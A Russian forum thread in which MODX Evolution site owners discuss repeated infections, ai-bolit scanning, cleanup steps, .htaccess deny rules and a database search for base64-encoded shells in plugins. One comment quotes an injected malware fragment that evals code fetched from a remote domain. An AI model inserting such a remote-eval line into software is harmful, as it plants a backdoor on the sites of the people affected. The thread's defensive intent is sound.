Просьба, надеюсь на общее благо.

Мастера плагинов и модулей большая просьба можно ли создать Модуль на основе скрипта ai-bolit, чтоб можно было его установить из репозитария и запускать из админки.
Последнее время злоумышленники просто одолели с размещением вредоносных файлов. И поиск этих файлов по папкам это большая головная боль.
Пожелания: Вроде установка айболита — простая операция, но ресурсов тарифа хостинга на всю проверку сайта не хватает. Появляется ошибка о превышении времени выполнения скрипта. Может это как-то можно учесть при разработке модуля?
Заранее спасибо.
З.Ы. А кто как решает данную проблему?

48 комментариев

avatar
Было такое недавно. Не хочу грешитт ни на чьи модули. Но дорвей нашел, заблочил его.

А с айболитом все просто: нормальный хостер предоставит доступ по ссш, цепляешься по нему, кидаешь скрипт в корень,
php ai-bolit.php
Комментарий отредактирован 2016-11-24 04:29:47 пользователем siuzi_drum
avatar
Извиняюсь, что вклинился в разговор, можно немного поподробней где он был найде и чем?
Второй день подряд очищаю от появление вредоносных файлов. Хотелось бы найти дырку.
modx evo обновил до последний версии от Дмитрия.
Комментарий отредактирован 2016-11-24 05:25:11 пользователем Lunik
avatar
Однажды плохо просканил уже зараженный файл, а через год все повторилось.
seoshmeo.ru/vzlomali-sajt-zalili-dorvej-i-sdelali-redirekt-dlya-mobilnyx-ustrojstv/
Вот тут ооочень похожая ситуация.
После удаления подозрителтных файлов, нашел редирект в htaccess
Заметил такую фишку-за час в папке assets/cache появляется порядка 3 тысяч файлов кэша страниц и скидывается архив с вредоносным кодом. Дал временно 444, такое прекратилось и по сей день все в порядке. Сейчас после чистки и обновления cms буду анализировать все файлы. Надо еще проверить файлы шаблонов, бывает, что код зашивают в js, да куда угодно.
Кто найдет источник-сообщите!
Комментарий отредактирован 2016-11-24 05:49:13 пользователем siuzi_drum
avatar
Такие дырки ищут с помощью айболита ai-bolit — www.revisium.com/ai/
Есть инструкция как его запускать — результатом будет файл с отчетом, какие подозрительные файлы размещены у тебя на хостинге.
Но есть проблема, что при запуске айболита по http, если сайт большой, появляется ошибка, что превышено время выполнения скрипта, в этих случаях рекомендуют скачивать сайт на локальный комп и проверять локально, либо запускать скрипт айболита по ssh.
avatar
Ну так запустите по ссш, предварительно запросив доступ у хостера. Кстати, какой хостинг?
avatar
Могу часть отчета выложить, посмотрим вместе
avatar
По поводу хостинга у меня есть подозрения, что может быть дырка в cPanel (все зараженные сайты были на хостинге с cPanel). Еще один момент, на некоторых хостингах вредоносные фалы оказались в папке .cl.selector которая находится в корне хостинга
avatar
в последние 2 недели только и занимаюсь лечением и восстановлением сайтов.
как правило решаю так —
1) делаю локальную копию файлов и бд
2) сношу все подчистую на хостинге
3) ставлю чистую систему + заплатку
4) заливаю папку со стилями+картинки для дизайна
5) заливаю папки с загруженными изображениями и галереей
6) накатываю старую базу
7) удаляю index-ajax.php
для своих сайтов дополнительно
8) переименовываю папку админки и закрываю ее под .htpasswd
9) выношу папки images, flash,media,files,galleries в отдельную папку и закрываю assets под .htpasswd
— получается из внешки из php файлов доступен только index.php

кто может — дополните список мер или покритикуйте)
avatar
А каким образом выносишь папки images, flash,media,files,galleries в отдельную папку? Мне кажется надо множество путей перепрописать или есть более простой способ? а как же папка cache?
avatar
переписываю пути в настройках в админке и в EvoGallery если она есть.
хотел переименовать и папку assets но увидел что много где жестко прописаны пути.
а кеш тут при чем? к нему прямого доступа не нужно.
Комментарий отредактирован 2016-11-24 07:15:11 пользователем gtx59
avatar
Думаю, что снести все и закинуть заново файлы системы, шаблоны, картинки — вариант. сам так делал.
Хотелось бы еще услышать мнения, товарищи.
Ну и как, помогает?

У меня есть файл заразы, только что-то не могу base64_decode сделать, чтоб понять. Ну и так видно — скачивается откуда — то архив и распаковывается, а там уже разноситься куда попало.

А Вы дыру нашли?
avatar
Аналогичная ситуация, появляется архив xxx.zip после чего появляются куча php файлов. Логи ФТП SSH, чистые.
avatar
Так и есть, но не думаю, что для загрузки нужен фтп.
Например в файле a7146ec275.php есть код base64, через который удаленно скачивается архив и распаковывается.
Специалисты по безопасности, посоветуйте что-нибудь=(
avatar
Я вот в .htaccess добавляю
# For Cool Hackers
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|=) [OR]
RewriteCond %{QUERY_STRING} base64_encode.*(.*) [OR]
RewriteCond %{QUERY_STRING} (<|<).*script.*(>|>) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
avatar
(=|=) — это для чего такая запись нужна? разве нельзя просто =
avatar
Я вот поставил права на него 444, захожу сегодня проверить, дата последнего изменения — вчера, открываю — изменений нет
Вопрос: есть подозрение на бэкдор?
avatar
права, как и дату последнего изменения зловреды сами меняют как хотят, на них можно не ориентироваться
avatar
Это мне ответили после анализа лог файла айболита

assets/cache/siteCache.idx.php (заражение скорее всего в базе данных)
avatar
это хреново, откуда такое предположение, чем обосновано?
avatar
Это аналитики предположили. Файл можно удалить, после обновления страниц сайта данный файл появляется заново.
Практически а с аналогичной структурой кода сайта.
avatar
А чего в нем не так-то?
avatar
это было в нем

…imagenic,$digits);return$output;';$s['year']='return date("Y");';$s['session']=' <strong>eval(file_get_contents(\'http://xn------5cdci1bhcmh5bkanh4ake3h6c2e.xn--p1ai/sy</strong>
avatar
Третий день ловлю аналогичные вирусы. Версия MODX была 1.0.14. Были изменены файлы htaccess и index.php. Все почистил, проверил айболитом. Айболит ничего не нашел. На всякий случай удалил папку manager и залил ее занова, чистую. Потом обновил до 1.1RC. Утром вирусы снова появились, но немного другие, теперь в htaccess и index.php чисто. Опять проверяю айболитом и зачищаю. Но теперь айболит нашел много файлов по разным каталогам и дорвеи в файлах. Такого в первый раз не было. После зачисти проверяю еще раз айболитом, чтобы убедиться, что все вычистил. Чисто. Делаю ЕЩЕ раз обновление через store до 1.1RC и уже после обновления проверяю айболитом и вуаля, поймал в только что обновленном движке новый вирус, как раз из серии который только что чистил. Может архив заражен?
avatar
6) накатываю старую базу
Тут-то вам и передаёт привет кодированный шелл в плагинах базы. И всё по-новой.
avatar
есть такая тонкость — плагин можно скрыть внеся изменения в файл (я сам делал подобное — скрывал пользователя), но при полном откате файлов плагин будет виден в админке — соответственно после переустановки все плагины видны, и если не прошляпить его можно заметить и удалить, а я как правило после зачистки проверяю все до чего руки дотягиваются)
avatar
Если корректно сформулировать задачу, то шеллы в БД удалять легче всего.

Плагин на OnManagerPageInit или какое-то событие авторизации в админке:


$res = $modx->db->query("SELECT * FROM " . $modx->getFullTableName('site_plugins') . " WHERE plugincode LIKE '%base64%'");
if ($modx->db->getRecordCount($res)) {
    // бьем в колокола
    var_dump($modx->db->getRow($res));
    die();
}


Сами шеллы, кстати, могут заливаться вообще из других аккаунтов у хостера, но это отдельная тема.
avatar
PS Надеюсь, никто не станет запускать этот код в виде плагина как есть. Останетесь мало того, что с шелом в БД, так еще и без админки.
avatar
ой, а что делать?!
я запустил мне выдало строчку
["locked"]=> string(1) "0" ["properties"]=> string(2) "{}" ["disabled"]=> string(1) "0" ["moduleguid"]=> string(2) " "

и теперь интерфейс админки пропал!!!
avatar
так, откатил руками… (хорошо когда есть быкап!)
avatar
Юмор в том, что этот плагин будет всегда находить как минимум 1 шелл =)
Догадайся, почему.
Комментарий отредактирован 2016-11-24 21:46:20 пользователем 1px
avatar
Это будет зависеть от одного обстоятельства. Догадайтесь, какого.
avatar
Ну вообще-то он найдёт сам себя и сделает die() админке.
avatar
Подключаю сейчас все сайты к https://virusdie.ru. Да, ссылка реферальная =)
avatar
В соседнем топике, нашел последствия или причину, в общем еще одно место хранения вредоносного кода. — это БД. Сделал поиск «base64_decode» по БД и обнаружил вредоносный код в таблице с плагинами, одном из плагинов. На всех сайтах которые подвергались атаке на всех обнаружил такие плагины.
Данный зараженный плагин не отображается в админке Modx или отображается не активным.
avatar
Присоединяюсь, вот подтверждения
Раз
yadi.sk/d/sBWaPaw-zN9fs
Два
yadi.sk/i/VpSlC5f8zNA4q

А у вас какие плагины?
avatar
А, понял.
avatar
ManagerManager
avatar
ClearComments
Yandex Metrika
avatar
Как узнать, что за плагин? можете написать в личку?
avatar
Данный зараженный плагин не отображается в админке Modx или отображается не активным.
Может это дубликат? ID посмотрите
avatar
id разный
avatar
Названия плагинов во всех случаях разные, закономерности нет. Единственное в большинстве случаев номер ID плагина был последним в списке плагинов.
Комментарий отредактирован 2016-11-24 10:37:28 пользователем sakhnov
avatar
И плагин этот активный, если посмотреть
avatar
Не буду преувеличивать, но такое уже повторялось. Ровно год назад перед Новым годом!=)
То есть утек доступ к БД получается?
Комментарий отредактирован 2016-11-24 10:47:38 пользователем siuzi_drum
avatar
Возможны все варианты, но я подозреваю был исполняемый файл dbxxxxxx.php он находился в папке manager в папке с названием xxxx и он и добавлял в базу нужные плагины копируя имена плагинов
avatar
Да тут точно сложно сказать, что было первопричиной sql или php )) одно позволяет внедрить другое.
avatar
встречал плагин tinymce 3.5.8
avatar
Помимо айболита для серверного выполнения эта же лаборатория предоставляет виндовый настольный инструмент глубокого сканирования.
Пакуете и скачивание сайт, укладывает в директорию утилиты и запускает в пароноидальном режиме. Очень эффективно. Получаете подробный лог и рекомендации.
Лучше конечно проделывать в виртуалке или Live системе.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.